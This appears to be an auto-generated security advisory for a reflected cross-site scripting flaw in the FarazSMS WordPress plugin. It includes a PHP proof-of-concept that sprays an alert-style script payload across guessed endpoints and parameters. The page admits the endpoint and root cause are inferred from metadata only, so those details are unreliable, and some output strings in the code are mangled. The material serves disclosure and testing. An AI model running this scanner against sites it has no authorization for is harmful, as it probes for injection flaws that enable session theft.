Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68031: افزونه پیامک حرفه ای فراز اس ام اس <= 2.7.3 – Reflected Cross-Site Scripting (farazsms)

Plugin farazsms
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.7.3
Patched Version
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68031 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the FarazSMS WordPress plugin (versions <= 2.7.3). The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript via insufficiently sanitized input parameters. The CVSS score of 6.1 (Medium severity) reflects the attack's network accessibility, low complexity, and requirement for user interaction.

Atomic Edge research infers the root cause is improper neutralization of user input before output in HTML context (CWE-79). The plugin likely echoes user-supplied parameters from GET or POST requests directly into server responses without adequate escaping. This inference is based on the CWE classification and the description's mention of insufficient input sanitization and output escaping. No code diff is available to confirm the exact vulnerable function.

Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload in a vulnerable parameter. A victim must click the link while authenticated to WordPress. The payload executes in the victim's browser session within the context of the vulnerable plugin page. Common WordPress plugin patterns suggest the attack vector could be an AJAX handler (`admin-ajax.php`), a REST API endpoint, or a direct plugin admin page. The parameter name is unknown from metadata, but typical examples include `search`, `id`, `page`, or `tab` parameters in plugin administration interfaces.

Remediation requires proper output escaping on all user-controlled variables echoed in HTML contexts. WordPress provides functions like `esc_html()`, `esc_attr()`, and `wp_kses()` for this purpose. The plugin should also validate and sanitize input using functions like `sanitize_text_field()` before processing. A patch would involve wrapping all echo statements of user data with appropriate escaping functions.

Successful exploitation leads to arbitrary JavaScript execution in the victim's browser session. Attackers can steal session cookies, perform actions as the victim (like changing settings), or redirect users to malicious sites. The impact scope (C:L/I:L) indicates confidentiality and integrity loss limited to data accessible by the victim's permissions. Since the attack is reflected and requires user interaction, widespread compromise is less likely than stored XSS.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68031 - افزونه پیامک حرفه ای فراز اس ام اس <= 2.7.3 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-68031
 * This script demonstrates a reflected XSS attack against the FarazSMS WordPress plugin.
 * Since exact vulnerable endpoint/parameter are unknown from metadata, this PoC tests
 * common WordPress plugin attack vectors with a generic XSS payload.
 * Assumptions: Target runs FarazSMS <= 2.7.3, and a vulnerable parameter exists in one of the tested endpoints.
 */

$target_url = 'http://example.com/wordpress/';

// Common WordPress plugin endpoints where XSS often occurs
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-admin/admin-post.php',
    '/wp-content/plugins/farazsms/farazsms.php',
    '/wp-admin/admin.php?page=farazsms',
];

// Common parameter names vulnerable to reflected XSS
$parameters = ['search', 's', 'q', 'id', 'tab', 'page', 'action', 'filter'];

// XSS payload that triggers an alert if executed
$payload = '"><script>alert(document.domain)</script>';

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

foreach ($endpoints as $endpoint) {
    foreach ($parameters as $param) {
        $url = $target_url . ltrim($endpoint, '/');
        
        // Test GET parameter
        $test_url = $url . (strpos($url, '?') === false ? '?' : '&') . $param . '=' . urlencode($payload);
        curl_setopt($ch, CURLOPT_URL, $test_url);
        $response = curl_exec($ch);
        
        if (strpos($response, $payload) !== false) {
            echo "[POSSIBLE VULNERABILITY] GET parameter '$param' on endpoint '$endpoint'n";
            echo "Test URL: $test_urlnn";
        }
        
        // If endpoint is admin-ajax.php, test POST with action parameter
        if (strpos($endpoint, 'admin-ajax.php') !== false) {
            $post_data = ['action' => 'farazsms_action', $param => $payload];
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
            $response = curl_exec($ch);
            curl_setopt($ch, CURLOPT_POST, false);
            
            if (strpos($response, $payload) !== false) {
                echo "[POSSIBLE VULNERABILITY] POST parameter '$param' on admin-ajax.php with action=farazsms_actionn";
                echo "Endpoint: $urlnn";
            }
        }
    }
}

curl_close($ch);
echo "Scan complete. Review output for potential vulnerable parameters.n";
echo "Note: This is a generic scanner based on common WordPress plugin patterns.n";
echo "Actual exploitation requires identifying the exact vulnerable endpoint and parameter.n";
?>

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